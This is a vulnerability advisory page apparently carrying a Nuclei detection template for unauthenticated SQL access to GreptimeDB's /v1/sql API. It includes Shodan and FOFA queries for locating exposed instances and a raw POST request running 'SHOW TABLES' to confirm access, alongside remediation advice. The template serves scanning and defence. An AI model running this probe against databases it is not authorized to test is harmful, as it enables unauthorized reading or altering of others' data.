greptimedb-unauth: GreptimeDB - Unauthenticated SQL API Exposure

2026-12-04 PoC Public

Description

GreptimeDB contains an unauthenticated access exposure caused by authentication being disabled until a user provider is configured, letting remote attackers run arbitrary SQL through the HTTP API at /v1/sql and read or change all stored data.

Details

Severity
高危
Published
PoC
Public

PoC

id: greptimedb-unauth

info:
  name: GreptimeDB - Unauthenticated SQL API Exposure
  author: s4e-io
  severity: high
  description: |
    GreptimeDB contains an unauthenticated access exposure caused by authentication being disabled until a user provider is configured, letting remote attackers run arbitrary SQL through the HTTP API at /v1/sql and read or change all stored data.
  impact: |
    An unauthenticated attacker can query or modify data through the exposed SQL API, potentially disclosing or changing stored records.
  remediation: |
    Configure a user provider (for example static_user_provider) to require authentication on the HTTP, MySQL and gRPC interfaces, and restrict network access to the GreptimeDB instance.
  reference:
    - https://docs.greptime.com/getting-started/quick-start/
    - https://docs.greptime.com/user-guide/deployments-administration/authentication/overview/
    - https://docs.greptime.com/user-guide/protocols/http/
  classification:
    cwe-id: CWE-306
  metadata:
    max-request: 1
    verified: true
    vendor: greptime
    product: greptimedb
    shodan-query: http.title:"GreptimeDB"
    fofa-query: title="GreptimeDB" || header="greptimedb_v1"
  tags: misconfig,unauth,greptimedb,database

http:
  - raw:
      - |
        POST /v1/sql HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        sql=SHOW TABLES

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "\"output\":", "\"records\":", "\"schema\":", "\"column_schemas\":", "\"execution_time_ms\":")'
          - 'contains(tolower(header), "x-greptime-format: greptimedb_v1") || contains(body, "\"Tables_in_public\"")'
          - 'contains(content_type, "json")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100c27e7aaad5673591ba003250453289e3df8a15098e01fb94c98929e0f3bba2fe02205a7539ba458d274f0d4f70c4f09d097f8454b0a7fbd5a466d39bdb2be55ebc67:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life